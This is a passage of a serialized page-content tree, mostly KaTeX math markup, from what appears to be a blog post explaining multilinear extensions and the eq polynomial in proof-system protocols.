"tag":475,"props":111173,"children":111175},{"className":111174,"style":3801},[3800],[],{"type":26,"tag":475,"props":111177,"children":111179},{"className":111178},[3806],[111180],{"type":32,"value":1106},{"type":26,"tag":475,"props":111182,"children":111184},{"className":111183,"style":3801},[3800],[],{"type":26,"tag":475,"props":111186,"children":111188},{"className":111187},[3708],[111189,111193,111264,111268,111273],{"type":26,"tag":475,"props":111190,"children":111192},{"className":111191,"style":109879},[3713],[],{"type":26,"tag":475,"props":111194,"children":111196},{"className":111195},[3719],[111197,111202],{"type":26,"tag":475,"props":111198,"children":111200},{"className":111199,"style":92901},[3719,21296],[111201],{"type":32,"value":92904},{"type":26,"tag":475,"props":111203,"children":111205},{"className":111204},[3736],[111206],{"type":26,"tag":475,"props":111207,"children":111209},{"className":111208},[3741,21350],[111210,111253],{"type":26,"tag":475,"props":111211,"children":111213},{"className":111212},[3746],[111214,111248],{"type":26,"tag":475,"props":111215,"children":111217},{"className":111216,"style":93196},[3751],[111218],{"type":26,"tag":475,"props":111219,"children":111220},{"style":109908},[111221,111225],{"type":26,"tag":475,"props":111222,"children":111224},{"className":111223,"style":3761},[3760],[],{"type":26,"tag":475,"props":111226,"children":111228},{"className":111227},[3766,3767,3768,3769],[111229],{"type":26,"tag":475,"props":111230,"children":111232},{"className":111231},[3719,3769],[111233,111238,111243],{"type":26,"tag":475,"props":111234,"children":111236},{"className":111235},[3719,21296,3769],[111237],{"type":32,"value":3445},{"type":26,"tag":475,"props":111239,"children":111241},{"className":111240},[3806,3769],[111242],{"type":32,"value":3780},{"type":26,"tag":475,"props":111244,"children":111246},{"className":111245},[3719,3769],[111247],{"type":32,"value":3722},{"type":26,"tag":475,"props":111249,"children":111251},{"className":111250},[21453],[111252],{"type":32,"value":21456},{"type":26,"tag":475,"props":111254,"children":111256},{"className":111255},[3746],[111257],{"type":26,"tag":475,"props":111258,"children":111260},{"className":111259,"style":109949},[3751],[111261],{"type":26,"tag":475,"props":111262,"children":111263},{},[],{"type":26,"tag":475,"props":111265,"children":111267},{"className":111266,"style":3801},[3800],[],{"type":26,"tag":475,"props":111269,"children":111271},{"className":111270},[3806],[111272],{"type":32,"value":110741},{"type":26,"tag":475,"props":111274,"children":111276},{"className":111275,"style":3801},[3800],[],{"type":26,"tag":475,"props":111278,"children":111280},{"className":111279},[3708],[111281,111285],{"type":26,"tag":475,"props":111282,"children":111284},{"className":111283,"style":109449},[3713],[],{"type":26,"tag":475,"props":111286,"children":111288},{"className":111287},[3719],[111289,111294],{"type":26,"tag":475,"props":111290,"children":111292},{"className":111291,"style":92667},[3719,21296],[111293],{"type":32,"value":93486},{"type":26,"tag":475,"props":111295,"children":111297},{"className":111296},[3736],[111298],{"type":26,"tag":475,"props":111299,"children":111301},{"className":111300},[3741,21350],[111302,111331],{"type":26,"tag":475,"props":111303,"children":111305},{"className":111304},[3746],[111306,111326],{"type":26,"tag":475,"props":111307,"children":111309},{"className":111308,"style":93196},[3751],[111310],{"type":26,"tag":475,"props":111311,"children":111312},{"style":109478},[111313,111317],{"type":26,"tag":475,"props":111314,"children":111316},{"className":111315,"style":3761},[3760],[],{"type":26,"tag":475,"props":111318,"children":111320},{"className":111319},[3766,3767,3768,3769],[111321],{"type":26,"tag":475,"props":111322,"children":111324},{"className":111323},[3719,21296,3769],[111325],{"type":32,"value":3445},{"type":26,"tag":475,"props":111327,"children":111329},{"className":111328},[21453],[111330],{"type":32,"value":21456},{"type":26,"tag":475,"props":111332,"children":111334},{"className":111333},[3746],[111335],{"type":26,"tag":475,"props":111336,"children":111338},{"className":111337,"style":92750},[3751],[111339],{"type":26,"tag":475,"props":111340,"children":111341},{},[],{"type":26,"tag":35,"props":111343,"children":111344},{},[111345,111346,111442,111444,111469,111471,111496],{"type":32,"value":45829},{"type":26,"tag":105,"props":111347,"children":111348},{},[111349,111351],{"type":32,"value":111350},"linear in ",{"type":26,"tag":53,"props":111352,"children":111354},{"className":111353},[3691,3692],[111355],{"type":26,"tag":475,"props":111356,"children":111358},{"className":111357},[3697],[111359],{"type":26,"tag":475,"props":111360,"children":111362},{"className":111361,"ariaHidden":3703},[3702],[111363],{"type":26,"tag":475,"props":111364,"children":111366},{"className":111365},[3708],[111367,111371],{"type":26,"tag":475,"props":111368,"children":111370},{"className":111369,"style":109879},[3713],[],{"type":26,"tag":475,"props":111372,"children":111374},{"className":111373},[3719],[111375,111380],{"type":26,"tag":475,"props":111376,"children":111378},{"className":111377,"style":92901},[3719,21296],[111379],{"type":32,"value":92904},{"type":26,"tag":475,"props":111381,"children":111383},{"className":111382},[3736],[111384],{"type":26,"tag":475,"props":111385,"children":111387},{"className":111386},[3741,21350],[111388,111431],{"type":26,"tag":475,"props":111389,"children":111391},{"className":111390},[3746],[111392,111426],{"type":26,"tag":475,"props":111393,"children":111395},{"className":111394,"style":93196},[3751],[111396],{"type":26,"tag":475,"props":111397,"children":111398},{"style":109908},[111399,111403],{"type":26,"tag":475,"props":111400,"children":111402},{"className":111401,"style":3761},[3760],[],{"type":26,"tag":475,"props":111404,"children":111406},{"className":111405},[3766,3767,3768,3769],[111407],{"type":26,"tag":475,"props":111408,"children":111410},{"className":111409},[3719,3769],[111411,111416,111421],{"type":26,"tag":475,"props":111412,"children":111414},{"className":111413},[3719,21296,3769],[111415],{"type":32,"value":3445},{"type":26,"tag":475,"props":111417,"children":111419},{"className":111418},[3806,3769],[111420],{"type":32,"value":3780},{"type":26,"tag":475,"props":111422,"children":111424},{"className":111423},[3719,3769],[111425],{"type":32,"value":3722},{"type":26,"tag":475,"props":111427,"children":111429},{"className":111428},[21453],[111430],{"type":32,"value":21456},{"type":26,"tag":475,"props":111432,"children":111434},{"className":111433},[3746],[111435],{"type":26,"tag":475,"props":111436,"children":111438},{"className":111437,"style":109949},[3751],[111439],{"type":26,"tag":475,"props":111440,"children":111441},{},[],{"type":32,"value":111443},"! By induction, the final claim is linear in the original ",{"type":26,"tag":53,"props":111445,"children":111447},{"className":111446},[3691,3692],[111448],{"type":26,"tag":475,"props":111449,"children":111451},{"className":111450},[3697],[111452],{"type":26,"tag":475,"props":111453,"children":111455},{"className":111454,"ariaHidden":3703},[3702],[111456],{"type":26,"tag":475,"props":111457,"children":111459},{"className":111458},[3708],[111460,111464],{"type":26,"tag":475,"props":111461,"children":111463},{"className":111462,"style":21291},[3713],[],{"type":26,"tag":475,"props":111465,"children":111467},{"className":111466,"style":92901},[3719,21296],[111468],{"type":32,"value":92904},{"type":32,"value":111470},". If ",{"type":26,"tag":53,"props":111472,"children":111474},{"className":111473},[3691,3692],[111475],{"type":26,"tag":475,"props":111476,"children":111478},{"className":111477},[3697],[111479],{"type":26,"tag":475,"props":111480,"children":111482},{"className":111481,"ariaHidden":3703},[3702],[111483],{"type":26,"tag":475,"props":111484,"children":111486},{"className":111485},[3708],[111487,111491],{"type":26,"tag":475,"props":111488,"children":111490},{"className":111489,"style":21291},[3713],[],{"type":26,"tag":475,"props":111492,"children":111494},{"className":111493,"style":92901},[3719,21296],[111495],{"type":32,"value":92904},{"type":32,"value":111497}," isn't in the transcript, we can solve for it.",{"type":26,"tag":41,"props":111499,"children":111501},{"id":111500},"multilinear-extensions-mles",[111502],{"type":32,"value":111503},"Multilinear Extensions (MLEs)",{"type":26,"tag":35,"props":111505,"children":111506},{},[111507,111509,111594],{"type":32,"value":111508},"An MLE is just the polynomial view of a table over ",{"type":26,"tag":53,"props":111510,"children":111512},{"className":111511},[3691,3692],[111513],{"type":26,"tag":475,"props":111514,"children":111516},{"className":111515},[3697],[111517],{"type":26,"tag":475,"props":111518,"children":111520},{"className":111519,"ariaHidden":3703},[3702],[111521],{"type":26,"tag":475,"props":111522,"children":111524},{"className":111523},[3708],[111525,111529,111534,111539,111544,111548,111553],{"type":26,"tag":475,"props":111526,"children":111528},{"className":111527,"style":3821},[3713],[],{"type":26,"tag":475,"props":111530,"children":111532},{"className":111531},[21425],[111533],{"type":32,"value":76247},{"type":26,"tag":475,"props":111535,"children":111537},{"className":111536},[3719],[111538],{"type":32,"value":3732},{"type":26,"tag":475,"props":111540,"children":111542},{"className":111541},[3832],[111543],{"type":32,"value":3835},{"type":26,"tag":475,"props":111545,"children":111547},{"className":111546,"style":3839},[3800],[],{"type":26,"tag":475,"props":111549,"children":111551},{"className":111550},[3719],[111552],{"type":32,"value":3722},{"type":26,"tag":475,"props":111554,"children":111556},{"className":111555},[21447],[111557,111562],{"type":26,"tag":475,"props":111558,"children":111560},{"className":111559},[21447],[111561],{"type":32,"value":722},{"type":26,"tag":475,"props":111563,"children":111565},{"className":111564},[3736],[111566],{"type":26,"tag":475,"props":111567,"children":111569},{"className":111568},[3741],[111570],{"type":26,"tag":475,"props":111571,"children":111573},{"className":111572},[3746],[111574],{"type":26,"tag":475,"props":111575,"children":111577},{"className":111576,"style":108196},[3751],[111578],{"type":26,"tag":475,"props":111579,"children":111580},{"style":3755},[111581,111585],{"type":26,"tag":475,"props":111582,"children":111584},{"className":111583,"style":3761},[3760],[],{"type":26,"tag":475,"props":111586,"children":111588},{"className":111587},[3766,3767,3768,3769],[111589],{"type":26,"tag":475,"props":111590,"children":111592},{"className":111591},[3719,21296,3769],[111593],{"type":32,"value":56095},{"type":32,"value":111595},": it matches the table on Boolean points and extends it to field points.",{"type":26,"tag":35,"props":111597,"children":111598},{},[111599],{"type":32,"value":111600},"For this post, the only property you need is:",{"type":26,"tag":35,"props":111602,"children":111603},{},[111604],{"type":26,"tag":53,"props":111605,"children":111607},{"className":111606},[3691,3692],[111608],{"type":26,"tag":475,"props":111609,"children":111611},{"className":111610},[3697],[111612],{"type":26,"tag":475,"props":111613,"children":111615},{"className":111614,"ariaHidden":3703},[3702],[111616,111778,112050],{"type":26,"tag":475,"props":111617,"children":111619},{"className":111618},[3708],[111620,111625,111694,111699,111760,111765,111769,111774],{"type":26,"tag":475,"props":111621,"children":111624},{"className":111622,"style":111623},[3713],"height:1.1813em;vertical-align:-0.25em;",[],{"type":26,"tag":475,"props":111626,"children":111629},{"className":111627},[3719,111628],"accent",[111630],{"type":26,"tag":475,"props":111631,"children":111633},{"className":111632},[3741,21350],[111634,111682],{"type":26,"tag":475,"props":111635,"children":111637},{"className":111636},[3746],[111638,111677],{"type":26,"tag":475,"props":111639,"children":111642},{"className":111640,"style":111641},[3751],"height:0.9313em;",[111643,111657],{"type":26,"tag":475,"props":111644,"children":111646},{"style":111645},"top:-3em;",[111647,111652],{"type":26,"tag":475,"props":111648,"children":111651},{"className":111649,"style":111650},[3760],"height:3em;",[],{"type":26,"tag":475,"props":111653,"children":111655},{"className":111654,"style":95021},[3719,21296],[111656],{"type":32,"value":32782},{"type":26,"tag":475,"props":111658,"children":111660},{"style":111659},"top:-3.6134em;",[111661,111665],{"type":26,"tag":475,"props":111662,"children":111664},{"className":111663,"style":111650},[3760],[],{"type":26,"tag":475,"props":111666,"children":111670},{"className":111667,"style":111669},[111668],"accent-body","left:-0.0833em;",[111671],{"type":26,"tag":475,"props":111672,"children":111674},{"className":111673},[3719],[111675],{"type":32,"value":111676},"~",{"type":26,"tag":475,"props":111678,"children":111680},{"className":111679},[21453],[111681],{"type":32,"value":21456},{"type":26,"tag":475,"props":111683,"children":111685},{"className":111684},[3746],[111686],{"type":26,"tag":475,"props":111687,"children":111690},{"className":111688,"style":111689},[3751],"height:0.1944em;",[111691],{"type":26,"tag":475,"props":111692,"children":111693},{},[],{"type":26,"tag":475,"props":111695,"children":111697},{"className":111696},[21425],[111698],{"type":32,"value":626},{"type":26,"tag":475,"props":111700,"children":111702},{"className":111701},[3719,111628],[111703],{"type":26,"tag":475,"props":111704,"children":111706},{"className":111705},[3741],[111707],{"type":26,"tag":475,"props":111708,"children":111710},{"className":111709},[3746],[111711],{"type":26,"tag":475,"props":111712,"children":111715},{"className":111713,"style":111714},[3751],"height:0.714em;",[111716,111728],{"type":26,"tag":475,"props":111717,"children":111718},{"style":111645},[111719,111723],{"type":26,"tag":475,"props":111720,"children":111722},{"className":111721,"style":111650},[3760],[],{"type":26,"tag":475,"props":111724,"children":111726},{"className":111725,"style":92667},[3719,21296],[111727],{"type":32,"value":93486},{"type":26,"tag":475,"props":111729,"children":111730},{"style":111645},[111731,111735],{"type":26,"tag":475,"props":111732,"children":111734},{"className":111733,"style":111650},[3760],[],{"type":26,"tag":475,"props":111736,"children":111739},{"className":111737,"style":111738},[111668],"left:-0.1799em;",[111740],{"type":26,"tag":475,"props":111741,"children":111745},{"className":111742,"style":111744},[111743],"overlay","height:0.714em;width:0.471em;",[111746],{"type":26,"tag":33968,"props":111747,"children":111754},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[111755],{"type":26,"tag":111756,"props":111757,"children":111759},"path",{"d":111758},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":26,"tag":475,"props":111761,"children":111763},{"className":111762},[21447],[111764],{"type":32,"value":2835},{"type":26,"tag":475,"props":111766,"children":111768},{"className":111767,"style":3898},[3800],[],{"type":26,"tag":475,"props":111770,"children":111772},{"className":111771},[3903],[111773],{"type":32,"value":786},{"type":26,"tag":475,"props":111775,"children":111777},{"className":111776,"style":3898},[3800],[],{"type":26,"tag":475,"props":111779,"children":111781},{"className":111780},[3708],[111782,111787,111968,111972,111977,111982,112032,112037,112041,112046],{"type":26,"tag":475,"props":111783,"children":111786},{"className":111784,"style":111785},[3713],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":26,"tag":475,"props":111788,"children":111790},{"className":111789},[21332],[111791,111796],{"type":26,"tag":475,"props":111792,"children":111794},{"className":111793,"style":21339},[21332,21337,21338],[111795],{"type":32,"value":108274},{"type":26,"tag":475,"props":111797,"children":111799},{"className":111798},[3736],[111800],{"type":26,"tag":475,"props":111801,"children":111803},{"className":111802},[3741,21350],[111804,111956],{"type":26,"tag":475,"props":111805,"children":111807},{"className":111806},[3746],[111808,111951],{"type":26,"tag":475,"props":111809,"children":111812},{"className":111810,"style":111811},[3751],"height:0.3448em;",[111813],{"type":26,"tag":475,"props":111814,"children":111816},{"style":111815},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[111817,111821],{"type":26,"tag":475,"props":111818,"children":111820},{"className":111819,"style":3761},[3760],[],{"type":26,"tag":475,"props":111822,"children":111824},{"className":111823},[3766,3767,3768,3769],[111825],{"type":26,"tag":475,"props":111826,"children":111828},{"className":111827},[3719,3769],[111829,111883,111888,111893,111898,111903,111908],{"type":26,"tag":475,"props":111830,"children":111832},{"className":111831},[3719,111628,3769],[111833],{"type":26,"tag":475,"props":111834,"children":111836},{"className":111835},[3741],[111837],{"type":26,"tag":475,"props":111838,"children":111840},{"className":111839},[3746],[111841],{"type":26,"tag":475,"props":111842,"children":111845},{"className":111843,"style":111844},[3751],"height:0.9774em;",[111846,111860],{"type":26,"tag":475,"props":111847,"children":111849},{"style":111848},"top:-2.714em;",[111850,111855],{"type":26,"tag":475,"props":111851,"children":111854},{"className":111852,"style":111853},[3760],"height:2.714em;",[],{"type":26,"tag":475,"props":111856,"children":111858},{"className":111857},[3719,21296,3769],[111859],{"type":32,"value":2930},{"type":26,"tag":475,"props":111861,"children":111863},{"style":111862},"top:-2.9774em;",[111864,111868],{"type":26,"tag":475,"props":111865,"children":111867},{"className":111866,"style":111853},[3760],[],{"type":26,"tag":475,"props":111869,"children":111872},{"className":111870,"style":111871},[111668],"left:-0.2355em;",[111873],{"type":26,"tag":475,"props":111874,"children":111876},{"className":111875,"style":111744},[111743,3769],[111877],{"type":26,"tag":33968,"props":111878,"children":111879},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[111880],{"type":26,"tag":111756,"props":111881,"children":111882},{"d":111758},[],{"type":26,"tag":475,"props":111884,"children":111886},{"className":111885},[3903,3769],[111887],{"type":32,"value":21403},{"type":26,"tag":475,"props":111889,"children":111891},{"className":111890},[21425,3769],[111892],{"type":32,"value":76247},{"type":26,"tag":475,"props":111894,"children":111896},{"className":111895},[3719,3769],[111897],{"type":32,"value":3732},{"type":26,"tag":475,"props":111899,"children":111901},{"className":111900},[3832,3769],[111902],{"type":32,"value":3835},{"type":26,"tag":475,"props":111904,"children":111906},{"className":111905},[3719,3769],[111907],{"type":32,"value":3722},{"type":26,"tag":475,"props":111909,"children":111911},{"className":111910},[21447,3769],[111912,111917],{"type":26,"tag":475,"props":111913,"children":111915},{"className":111914},[21447,3769],[111916],{"type":32,"value":722},{"type":26,"tag":475,"props":111918,"children":111920},{"className":111919},[3736],[111921],{"type":26,"tag":475,"props":111922,"children":111924},{"className":111923},[3741],[111925],{"type":26,"tag":475,"props":111926,"children":111928},{"className":111927},[3746],[111929],{"type":26,"tag":475,"props":111930,"children":111933},{"className":111931,"style":111932},[3751],"height:0.5935em;",[111934],{"type":26,"tag":475,"props":111935,"children":111937},{"style":111936},"top:-2.786em;margin-right:0.0714em;",[111938,111942],{"type":26,"tag":475,"props":111939,"children":111941},{"className":111940,"style":108339},[3760],[],{"type":26,"tag":475,"props":111943,"children":111945},{"className":111944},[3766,108344,108345,3769],[111946],{"type":26,"tag":475,"props":111947,"children":111949},{"className":111948},[3719,21296,3769],[111950],{"type":32,"value":56095},{"type":26,"tag":475,"props":111952,"children":111954},{"className":111953},[21453],[111955],{"type":32,"value":21456},{"type":26,"tag":475,"props":111957,"children":111959},{"className":111958},[3746],[111960],{"type":26,"tag":475,"props":111961,"children":111964},{"className":111962,"style":111963},[3751],"height:0.5144em;",[111965],{"type":26,"tag":475,"props":111966,"children":111967},{},[],{"type":26,"tag":475,"props":111969,"children":111971},{"className":111970,"style":3839},[3800],[],{"type":26,"tag":475,"props":111973,"children":111975},{"className":111974,"style":95021},[3719,21296],[111976],{"type":32,"value":32782},{"type":26,"tag":475,"props":111978,"children":111980},{"className":111979},[21425],[111981],{"type":32,"value":626},{"type":26,"tag":475,"props":111983,"children":111985},{"className":111984},[3719,111628],[111986],{"type":26,"tag":475,"props":111987,"children":111989},{"className":111988},[3741],[111990],{"type":26,"tag":475,"props":111991,"children":111993},{"className":111992},[3746],[111994],{"type":26,"tag":475,"props":111995,"children":111997},{"className":111996,"style":111844},[3751],[111998,112010],{"type":26,"tag":475,"props":111999,"children":112000},{"style":111645},[112001,112005],{"type":26,"tag":475,"props":112002,"children":112004},{"className":112003,"style":111650},[3760],[],{"type":26,"tag":475,"props":112006,"children":112008},{"className":112007},[3719,21296],[112009],{"type":32,"value":2930},{"type":26,"tag":475,"props":112011,"children":112013},{"style":112012},"top:-3.2634em;",[112014,112018],{"type":26,"tag":475,"props":112015,"children":112017},{"className":112016,"style":111650},[3760],[],{"type":26,"tag":475,"props":112019,"children":112021},{"className":112020,"style":111871},[111668],[112022],{"type":26,"tag":475,"props":112023,"children":112025},{"className":112024,"style":111744},[111743],[112026],{"type":26,"tag":33968,"props":112027,"children":112028},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112029],{"type":26,"tag":111756,"props":112030,"children":112031},{"d":111758},[],{"type":26,"tag":475,"props":112033,"children":112035},{"className":112034},[21447],[112036],{"type":32,"value":2835},{"type":26,"tag":475,"props":112038,"children":112040},{"className":112039,"style":3801},[3800],[],{"type":26,"tag":475,"props":112042,"children":112044},{"className":112043},[3806],[112045],{"type":32,"value":110741},{"type":26,"tag":475,"props":112047,"children":112049},{"className":112048,"style":3801},[3800],[],{"type":26,"tag":475,"props":112051,"children":112053},{"className":112052},[3708],[112054,112059,112069,112074,112123,112128,112132,112181],{"type":26,"tag":475,"props":112055,"children":112058},{"className":112056,"style":112057},[3713],"height:1.2274em;vertical-align:-0.25em;",[],{"type":26,"tag":475,"props":112060,"children":112062},{"className":112061},[3719,32],[112063],{"type":26,"tag":475,"props":112064,"children":112066},{"className":112065},[3719],[112067],{"type":32,"value":112068},"eq",{"type":26,"tag":475,"props":112070,"children":112072},{"className":112071},[21425],[112073],{"type":32,"value":626},{"type":26,"tag":475,"props":112075,"children":112077},{"className":112076},[3719,111628],[112078],{"type":26,"tag":475,"props":112079,"children":112081},{"className":112080},[3741],[112082],{"type":26,"tag":475,"props":112083,"children":112085},{"className":112084},[3746],[112086],{"type":26,"tag":475,"props":112087,"children":112089},{"className":112088,"style":111844},[3751],[112090,112102],{"type":26,"tag":475,"props":112091,"children":112092},{"style":111645},[112093,112097],{"type":26,"tag":475,"props":112094,"children":112096},{"className":112095,"style":111650},[3760],[],{"type":26,"tag":475,"props":112098,"children":112100},{"className":112099},[3719,21296],[112101],{"type":32,"value":2930},{"type":26,"tag":475,"props":112103,"children":112104},{"style":112012},[112105,112109],{"type":26,"tag":475,"props":112106,"children":112108},{"className":112107,"style":111650},[3760],[],{"type":26,"tag":475,"props":112110,"children":112112},{"className":112111,"style":111871},[111668],[112113],{"type":26,"tag":475,"props":112114,"children":112116},{"className":112115,"style":111744},[111743],[112117],{"type":26,"tag":33968,"props":112118,"children":112119},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112120],{"type":26,"tag":111756,"props":112121,"children":112122},{"d":111758},[],{"type":26,"tag":475,"props":112124,"children":112126},{"className":112125},[3832],[112127],{"type":32,"value":3835},{"type":26,"tag":475,"props":112129,"children":112131},{"className":112130,"style":3839},[3800],[],{"type":26,"tag":475,"props":112133,"children":112135},{"className":112134},[3719,111628],[112136],{"type":26,"tag":475,"props":112137,"children":112139},{"className":112138},[3741],[112140],{"type":26,"tag":475,"props":112141,"children":112143},{"className":112142},[3746],[112144],{"type":26,"tag":475,"props":112145,"children":112147},{"className":112146,"style":111714},[3751],[112148,112160],{"type":26,"tag":475,"props":112149,"children":112150},{"style":111645},[112151,112155],{"type":26,"tag":475,"props":112152,"children":112154},{"className":112153,"style":111650},[3760],[],{"type":26,"tag":475,"props":112156,"children":112158},{"className":112157,"style":92667},[3719,21296],[112159],{"type":32,"value":93486},{"type":26,"tag":475,"props":112161,"children":112162},{"style":111645},[112163,112167],{"type":26,"tag":475,"props":112164,"children":112166},{"className":112165,"style":111650},[3760],[],{"type":26,"tag":475,"props":112168,"children":112170},{"className":112169,"style":111738},[111668],[112171],{"type":26,"tag":475,"props":112172,"children":112174},{"className":112173,"style":111744},[111743],[112175],{"type":26,"tag":33968,"props":112176,"children":112177},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112178],{"type":26,"tag":111756,"props":112179,"children":112180},{"d":111758},[],{"type":26,"tag":475,"props":112182,"children":112184},{"className":112183},[21447],[112185],{"type":32,"value":2835},{"type":26,"tag":35,"props":112187,"children":112188},{},[112189,112191,112260,112262,112408,112410,112549,112551,112635],{"type":32,"value":112190},"At a fixed challenge point ",{"type":26,"tag":53,"props":112192,"children":112194},{"className":112193},[3691,3692],[112195],{"type":26,"tag":475,"props":112196,"children":112198},{"className":112197},[3697],[112199],{"type":26,"tag":475,"props":112200,"children":112202},{"className":112201,"ariaHidden":3703},[3702],[112203],{"type":26,"tag":475,"props":112204,"children":112206},{"className":112205},[3708],[112207,112211],{"type":26,"tag":475,"props":112208,"children":112210},{"className":112209,"style":111714},[3713],[],{"type":26,"tag":475,"props":112212,"children":112214},{"className":112213},[3719,111628],[112215],{"type":26,"tag":475,"props":112216,"children":112218},{"className":112217},[3741],[112219],{"type":26,"tag":475,"props":112220,"children":112222},{"className":112221},[3746],[112223],{"type":26,"tag":475,"props":112224,"children":112226},{"className":112225,"style":111714},[3751],[112227,112239],{"type":26,"tag":475,"props":112228,"children":112229},{"style":111645},[112230,112234],{"type":26,"tag":475,"props":112231,"children":112233},{"className":112232,"style":111650},[3760],[],{"type":26,"tag":475,"props":112235,"children":112237},{"className":112236,"style":92667},[3719,21296],[112238],{"type":32,"value":93486},{"type":26,"tag":475,"props":112240,"children":112241},{"style":111645},[112242,112246],{"type":26,"tag":475,"props":112243,"children":112245},{"className":112244,"style":111650},[3760],[],{"type":26,"tag":475,"props":112247,"children":112249},{"className":112248,"style":111738},[111668],[112250],{"type":26,"tag":475,"props":112251,"children":112253},{"className":112252,"style":111744},[111743],[112254],{"type":26,"tag":33968,"props":112255,"children":112256},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112257],{"type":26,"tag":111756,"props":112258,"children":112259},{"d":111758},[],{"type":32,"value":112261},", the coefficients ",{"type":26,"tag":53,"props":112263,"children":112265},{"className":112264},[3691,3692],[112266],{"type":26,"tag":475,"props":112267,"children":112269},{"className":112268},[3697],[112270],{"type":26,"tag":475,"props":112271,"children":112273},{"className":112272,"ariaHidden":3703},[3702],[112274],{"type":26,"tag":475,"props":112275,"children":112277},{"className":112276},[3708],[112278,112282,112291,112296,112345,112350,112354,112403],{"type":26,"tag":475,"props":112279,"children":112281},{"className":112280,"style":112057},[3713],[],{"type":26,"tag":475,"props":112283,"children":112285},{"className":112284},[3719,32],[112286],{"type":26,"tag":475,"props":112287,"children":112289},{"className":112288},[3719],[112290],{"type":32,"value":112068},{"type":26,"tag":475,"props":112292,"children":112294},{"className":112293},[21425],[112295],{"type":32,"value":626},{"type":26,"tag":475,"props":112297,"children":112299},{"className":112298},[3719,111628],[112300],{"type":26,"tag":475,"props":112301,"children":112303},{"className":112302},[3741],[112304],{"type":26,"tag":475,"props":112305,"children":112307},{"className":112306},[3746],[112308],{"type":26,"tag":475,"props":112309,"children":112311},{"className":112310,"style":111844},[3751],[112312,112324],{"type":26,"tag":475,"props":112313,"children":112314},{"style":111645},[112315,112319],{"type":26,"tag":475,"props":112316,"children":112318},{"className":112317,"style":111650},[3760],[],{"type":26,"tag":475,"props":112320,"children":112322},{"className":112321},[3719,21296],[112323],{"type":32,"value":2930},{"type":26,"tag":475,"props":112325,"children":112326},{"style":112012},[112327,112331],{"type":26,"tag":475,"props":112328,"children":112330},{"className":112329,"style":111650},[3760],[],{"type":26,"tag":475,"props":112332,"children":112334},{"className":112333,"style":111871},[111668],[112335],{"type":26,"tag":475,"props":112336,"children":112338},{"className":112337,"style":111744},[111743],[112339],{"type":26,"tag":33968,"props":112340,"children":112341},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112342],{"type":26,"tag":111756,"props":112343,"children":112344},{"d":111758},[],{"type":26,"tag":475,"props":112346,"children":112348},{"className":112347},[3832],[112349],{"type":32,"value":3835},{"type":26,"tag":475,"props":112351,"children":112353},{"className":112352,"style":3839},[3800],[],{"type":26,"tag":475,"props":112355,"children":112357},{"className":112356},[3719,111628],[112358],{"type":26,"tag":475,"props":112359,"children":112361},{"className":112360},[3741],[112362],{"type":26,"tag":475,"props":112363,"children":112365},{"className":112364},[3746],[112366],{"type":26,"tag":475,"props":112367,"children":112369},{"className":112368,"style":111714},[3751],[112370,112382],{"type":26,"tag":475,"props":112371,"children":112372},{"style":111645},[112373,112377],{"type":26,"tag":475,"props":112374,"children":112376},{"className":112375,"style":111650},[3760],[],{"type":26,"tag":475,"props":112378,"children":112380},{"className":112379,"style":92667},[3719,21296],[112381],{"type":32,"value":93486},{"type":26,"tag":475,"props":112383,"children":112384},{"style":111645},[112385,112389],{"type":26,"tag":475,"props":112386,"children":112388},{"className":112387,"style":111650},[3760],[],{"type":26,"tag":475,"props":112390,"children":112392},{"className":112391,"style":111738},[111668],[112393],{"type":26,"tag":475,"props":112394,"children":112396},{"className":112395,"style":111744},[111743],[112397],{"type":26,"tag":33968,"props":112398,"children":112399},{"xmlns":111748,"width":111749,"height":111750,"style":111751,"viewBox":111752,"preserveAspectRatio":111753},[112400],{"type":26,"tag":111756,"props":112401,"children":112402},{"d":111758},[],{"type":26,"tag":475,"props":112404,"children":112406},{"className":112405},[21447],[112407],{"type":32,"value":2835},{"type":32,"value":112409}," are constants, so ",{"type":26,"tag":53,"props":112411,"children":112413},{"className":112412},[3691,3692],[112414],{"type":26,"tag":475,"props":112415,"children":112417},{"className":112416},[3697],[112418],{"type":26,"tag":475,"props":112419,"children":112421},{"className":112420,"ariaHidden":3703},[3702],[112422],{"type":26,"tag":475,"props":112423,"children":112425},{"className":112424},[3708],[112426,112430,112490,112495,112544],{"type":26,"tag":475,"props":112427,"children":112429},{"className":112428,"style":111623},[3713],[],{"type":26,"tag":475,"props":112431,"children":112433},{"className":112432},[3719,111628],[112434],{"type":26,"tag":475,"props":112435,"children":112437},{"className":112436},[3741,21350],[112438,112479],{"type":26,"tag":475,"props":112439,"children":112441},{"className":112440},[3746],[112442,112474],{"type":26,"tag":475,"props":112443,"children":112445},{"className":112444,"style":111641},[3751],[112446,112458],{"type":26,"tag":475,"props":112447,"children":112448},{"style":111645},[112449,112453],{"type":26,"tag":475,"props":112450,"children":112452},{"className":112451,"style":111650},[3760],[],{"type":26,"tag":475,"props":112454,"children":112456},{"className":112455,"style":95021},[3719,21296],[112457],{"type":32,"value":32782},{"type":26,"tag":475,"props":112459,"children":112460},{"style":111659},[112461,112465],{"type":26,"tag":475,"props":112462,"children":112464},{"className":112463,"style":111650},[